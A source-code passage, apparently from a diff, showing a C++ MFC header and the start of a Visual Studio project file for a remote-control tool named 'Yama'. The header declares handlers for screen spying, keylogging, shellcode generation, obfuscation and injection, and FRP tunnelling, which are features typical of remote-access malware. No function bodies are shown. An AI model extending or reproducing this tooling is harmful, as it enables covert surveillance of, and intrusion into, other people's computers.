std::string m_superPass;
BOOL m_needNotify = FALSE;
DWORD g_StartTick;
BOOL m_bHookWIN = TRUE;
BOOL m_runNormal = FALSE;
// 生成的消息映射函数
std::string m_localPublicIP, m_localPrivateIP;
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
DECLARE_MESSAGE_MAP()
public:
void SortByColumn(int nColumn);
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
template<class T, int id, int Show = SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
T* Dlg = new T(this, ContextObject->GetServer(), ContextObject);
BOOL isGrid = id == IDD_DIALOG_SCREEN_SPY;
BOOL ok = (isGrid&&m_gridDlg) ? m_gridDlg->HasSlot() : FALSE;
Dlg->Create(id, ok ? m_gridDlg : GetDesktopWindow());
// Check if this is a web-triggered ScreenSpyDlg session - hide window if so
Dlg->ShowWindow(Show);
if (ok) {
m_gridDlg->AddChild((CDialog*)Dlg);
LONG style = ::GetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE);
style &= ~(WS_CAPTION | WS_SIZEBOX); // 去掉标题栏和调整大小
::SetWindowLong(Dlg->GetSafeHwnd(), GWL_STYLE, style);
::SetWindowPos(Dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED);
m_gridDlg->ShowWindow(isGrid ? SW_SHOWMAXIMIZED : SW_HIDE);
}
ContextObject->hDlg = Dlg;
ContextObject->hWnd = Dlg->GetSafeHwnd();
if (id == IDD_DIALOG_SCREEN_SPY) {
EnterCriticalSection(&m_cs);
m_RemoteWnds[Dlg->GetSafeHwnd()] = (CDialogBase*)Dlg;
LeaveCriticalSection(&m_cs);
}
return 0;
}
VOID InitControl(); //初始控件
VOID TestOnline(); //测试函数
BOOL m_HasLocDB = FALSE;
IPConverter* m_IPConverter = nullptr;
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
CString ver, CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT* ContextObject);
VOID ShowMessage(CString strType, CString strMsg);
VOID CreatStatusBar();
VOID CreateToolBar();
VOID CreateNotifyBar();
VOID CreateSolidMenu();
// 通过菜单项ID查找子菜单避免硬编码索引
CMenu* FindSubMenuByCommand(CMenu* pParent, UINT commandId);
int m_nMaxConnection;
BOOL Activate(const std::string& nPort, int nMaxConnection, const std::string& method);
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
void SendPendingRenewal(CONTEXT_OBJECT* ctx, const std::string& sn, const std::string& passcode, const char* source = nullptr);
std::string BuildAuthorizationResponse(const std::string& sn, const std::string& passcode, const std::string& pwdHash, bool isV2Auth);
// 生成续期信息,返回: (newPasscode, newHmac),如果不需要续期则返回空字符串
std::pair<std::string, std::string> GenerateRenewalInfo(const std::string& sn, const std::string& passcode,
const std::string& pwdHash, bool isV2);
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
// expired=true 表示签名有效但已过期(可用于续期)
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
const char* source = "AUTH");
void SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = "");
void HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len);
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
Buffer* m_TinyRun[PAYLOAD_MAXTYPE] = {};
MasterSettings m_settings;
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
BOOL AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
BOOL AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength, contextModifier cb = NULL, void* user=NULL);
VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength);
// 显示用户上线信息
CWnd* m_pFloatingTip = nullptr;
// 记录 clientID心跳更新
std::set<uint64_t> m_DirtyClients;
// 待处理的上线/下线事件(批量更新减少闪烁)
std::vector<context*> m_PendingOnline;
std::vector<int> m_PendingOffline; // 存储端口号
CListCtrlEx m_CList_Online;
CListCtrl m_CList_Message;
std::vector<context*> m_HostList; // 虚拟列表数据源(全部客户端)
std::unordered_map<uint64_t, size_t> m_ClientIndex; // clientID -> m_HostList 索引映射
std::vector<size_t> m_FilteredIndices; // 当前分组过滤后的索引列表
std::set<std::string> m_GroupList;
std::string m_selectedGroup;
std::string m_v2KeyPath; // V2 密钥文件路径
void RebuildFilteredIndices(); // 重建过滤索引
context* GetContextByListIndex(int iItem); // 根据列表索引获取 context考虑分组过滤
void LoadListData(const std::string& group);
void DeletePopupWindow(BOOL bForce = FALSE);
void CheckHeartbeat();
context* FindHost(int port);
context* FindHost(uint64_t id);
context* FindHostNoLock(int port); // caller must hold m_cs lock
context* FindHostNoLock(uint64_t id); // caller must hold m_cs lock
bool RemoveFromHostList(context* ctx); // 从 m_HostList 中移除并更新索引
CStatusBar m_StatusBar; //状态条
ULONGLONG m_ullStartTime = 0; // 程序启动时间 (GetTickCount64)
CString m_strExpireDate; // 到期日期 (YYYYMMDD),空表示无授权
CString m_strFrpAddr; // FRP 地址 (IP:Port),由上级提供
void UpdateStatusBarStats(); // 更新状态栏统计信息
CTrueColorToolBar m_ToolBar;
CGridDialog * m_gridDlg = NULL;
std::vector<DllInfo*> m_DllList;
context* FindHostByIP(const std::string& ip);
void InjectTinyRunDll(const std::string& ip, int pid);
NOTIFYICONDATA m_Nid;
HANDLE m_hExit;
CRITICAL_SECTION m_cs;
BOOL isClosed;
// DLL 请求限流 (每小时最多 4 次)
std::map<std::string, std::vector<time_t>> m_DllRequestTimes; // IP -> 请求时间列表
CRITICAL_SECTION m_DllRateLimitLock;
bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu;
CBitmap m_bmOnline[51]; // 21 original + 4 context menu + 2 tray menu + 23 main menu
uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList;
CDialogBase* GetRemoteWindow(HWND hWnd);
CDialogBase* GetRemoteWindow(CDialogBase* dlg);
void RemoveRemoteWindow(HWND wnd);
void CloseRemoteDesktopByClientID(uint64_t clientID);
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
void UpdateActiveRemoteSession(CDialogBase* sess);
CDialogBase* GetActiveRemoteSession();
afx_msg LRESULT OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam);
static LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
HHOOK g_hKeyboardHook = NULL;
enum {
STATUS_UNKNOWN = -1,
STATUS_RUN = 0,
STATUS_STOP = 1,
STATUS_EXIT = 2,
};
// FRP 多实例支持
struct FrpInstance {
HANDLE hThread = NULL;
int status = STATUS_UNKNOWN;
std::string serverAddr;
};
std::vector<FrpInstance> m_frpInstances;
HMEMORYMODULE m_hFrpDll = NULL;
typedef int (*FrpRunFunc)(char*, int*);
FrpRunFunc m_frpRun = nullptr;
static DWORD WINAPI StartFrpClient(LPVOID param);
void ApplyFrpSettings();
void InitFrpClients();
void StopAllFrpClients();
#ifdef _WIN64
// 本地 FRPS 服务器 (仅 64 位支持)
HMEMORYMODULE m_hFrpsDll = NULL;
typedef int (*FrpsRunSimpleWithTokenFunc)(char*, int, char*, char*, int, int*);
FrpsRunSimpleWithTokenFunc m_frpsRunSimpleWithToken = nullptr;
int m_frpsStatus = STATUS_UNKNOWN;
HANDLE m_hFrpsThread = NULL;
static DWORD WINAPI StartLocalFrpsServer(LPVOID param);
bool InitLocalFrpsServer(); // 返回 true 表示已启动,需等待
void StopLocalFrpsServer();
#endif
// FRP 自动代理(由上级提供配置)
struct FrpAutoConfig {
bool enabled = false;
std::string serverAddr; // 上级的 FRPS 地址
int serverPort = 7000; // 上级的 FRPS 端口
int remotePort = 0; // 上级分配的远程端口
std::string expireDate; // YYYYMMDD 格式
std::string privilegeKey; // 32字符(MD5) 或 ENC:xxx(编码的token)
bool isEncodedToken = false; // true: privilegeKey 是编码的 token (官方FRP模式)
};
FrpAutoConfig m_frpAutoConfig;
int m_frpAutoStatus = STATUS_UNKNOWN; // FRP 自动代理状态
HANDLE m_hFrpAutoThread = NULL; // FRP 自动代理线程句柄
static FrpAutoConfig ParseFrpAutoConfig(const std::string& config, bool heartbeat=false);
// 获取有效的主控地址优先使用上级FRP配置
// 返回值是否使用了FRP地址
static bool GetEffectiveMasterAddress(std::string& outIP, int& outPort, bool heartbeat=false);
void StartFrpcAuto(const FrpAutoConfig& cfg);
void StopFrpcAuto();
void InitFrpcAuto(); // 启动时自动恢复
bool CheckValid(int trail = 14);
BOOL ShouldRemoteControl();
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose();
void Release();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnExitSizeMove();
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调
afx_msg void OnOnlineMessage();
afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate();
afx_msg void OnAbout();
afx_msg void OnToolbarSearch();
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
afx_msg void OnNotifyShow();
afx_msg void OnNotifyExit();
afx_msg void OnMainSet();
afx_msg void OnMainExit();
afx_msg void OnOnlineCmdManager();
afx_msg void OnOnlineProcessManager();
afx_msg void OnOnlineWindowManager();
afx_msg void OnOnlineDesktopManager();
afx_msg void OnOnlineAudioManager();
afx_msg void OnOnlineVideoManager();
afx_msg void OnOnlineFileManager();
afx_msg void OnOnlineServerManager();
afx_msg void OnOnlineRegisterManager();
afx_msg VOID OnOnlineKeyboardManager();
afx_msg void OnOnlineBuildClient();
afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenFileManagerDialog(WPARAM wParam,LPARAM lParam);
afx_msg LRESULT OnOpenTalkDialog(WPARAM wPrarm,LPARAM lParam);
afx_msg LRESULT OnOpenShellDialog(WPARAM wParam,LPARAM lParam);
afx_msg LRESULT OnOpenTerminalDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenSystemDialog(WPARAM wParam,LPARAM lParam);
afx_msg LRESULT OnOpenAudioDialog(WPARAM wParam,LPARAM lParam);
afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT AssignAllClient(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT UpdateUserEvent(WPARAM wParam, LPARAM lParam);
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
virtual BOOL PreTranslateMessage(MSG* pMsg);
int m_TraceTime = 1000;
virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
afx_msg void OnOnlineShare();
afx_msg void OnToolAuth();
afx_msg void OnToolGenMaster();
afx_msg void OnMainProxy();
afx_msg void OnOnlineHostnote();
afx_msg void OnHelpImportant();
afx_msg void OnHelpFeedback();
afx_msg void OnDynamicSubMenu(UINT nID);
afx_msg void OnOnlineVirtualDesktop();
afx_msg void OnOnlineGrayDesktop();
afx_msg void OnOnlineRemoteDesktop();
afx_msg void OnOnlineH264Desktop();
afx_msg void OnWhatIsThis();
afx_msg void OnOnlineAuthorize();
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineUnauthorize();
afx_msg void OnToolRequestAuth();
afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
afx_msg void OnToolInputPassword();
afx_msg LRESULT OnShowNotify(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
afx_msg void OnToolGenShellcode();
afx_msg void OnOnlineAssignTo();
afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnRClickMessage(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnMsglogDelete();
afx_msg void OnMsglogClear();
afx_msg void OnOnlineAddWatch();
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin();
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
afx_msg void OnMainWallet();
afx_msg void OnMainNetwork();
afx_msg void OnToolRcedit();
afx_msg void OnOnlineUninstall();
afx_msg void OnOnlinePrivateScreen();
CString m_PrivateScreenWallpaper; // 隐私屏幕壁纸路径
CTabCtrl m_GroupTab;
afx_msg void OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnObfsShellcode();
afx_msg void OnOnlineRegroup();
afx_msg void OnMachineShutdown();
afx_msg void OnMachineReboot();
afx_msg void OnExecuteDownload();
afx_msg void OnExecuteUpload();
afx_msg void OnMachineLogout();
void MachineManage(MachineCommand type);
afx_msg void OnDestroy();
afx_msg void OnToolGenShellcodeBin();
afx_msg void OnShellcodeLoadTest();
afx_msg void OnShellcodeObfsLoadTest();
afx_msg void OnObfsShellcodeBin();
afx_msg void OnShellcodeAesBin();
afx_msg void OnShellcodeTestAesBin();
afx_msg void OnToolReloadPlugins();
afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger();
afx_msg void OnOnlineInjNotepad();
afx_msg void OnParamLoginNotify();
afx_msg void OnParamEnableLog();
afx_msg void OnParamPrivacyWallpaper();
afx_msg void OnParamFileV2();
afx_msg void OnParamRunAsUser();
void ProxyClientTcpPort(bool isStandard);
afx_msg void OnProxyPort();
afx_msg void OnHookWin();
afx_msg void OnRunasService();
afx_msg void OnHistoryClients();
afx_msg void OnBackupData();
afx_msg void OnPluginRequest();
afx_msg void OnChangeLang();
afx_msg void OnImportData();
afx_msg void OnProxyPortStd();
afx_msg void OnChooseLangDir();
afx_msg void OnLocationQqwry();
afx_msg void OnLocationIp2region();
afx_msg void OnToolLicenseMgr();
afx_msg void OnToolImportLicense();
afx_msg void OnToolV2PrivateKey();
afx_msg void OnMenuNotifySettings();
afx_msg void OnFrpsForSub();
afx_msg void OnOnlineLoginNotify();
afx_msg void OnExecuteTestrun();
afx_msg void OnExecuteGhost();
afx_msg void OnMasterTrail();
afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl();
};

View File

@@ -0,0 +1,593 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}</ProjectGuid>
<RootNamespace>My2015Remote</RootNamespace>
<Keyword>MFCProj</Keyword>
<ProjectName>Yama</ProjectName>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
<PlatformToolset>v142</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(ProjectDir)libpeconv;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)lib;$(SolutionDir)compress\ffmpeg;$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(ProjectDir)libpeconv;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</OutputFile>
<ImageHasSafeExceptionHandlers>true</ImageHasSafeExceptionHandlers>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
<ValidateAllParameters>true</ValidateAllParameters>
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</Midl>
<ResourceCompile>
<Culture>0x0804</Culture>
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</OutputFile>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</Midl>
<ResourceCompile>
<Culture>0x0804</Culture>
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<StringPooling>true</StringPooling>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</OutputFile>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
<ValidateAllParameters>true</ValidateAllParameters>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</Midl>
<ResourceCompile>
<Culture>0x0804</Culture>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MinSpace</Optimization>
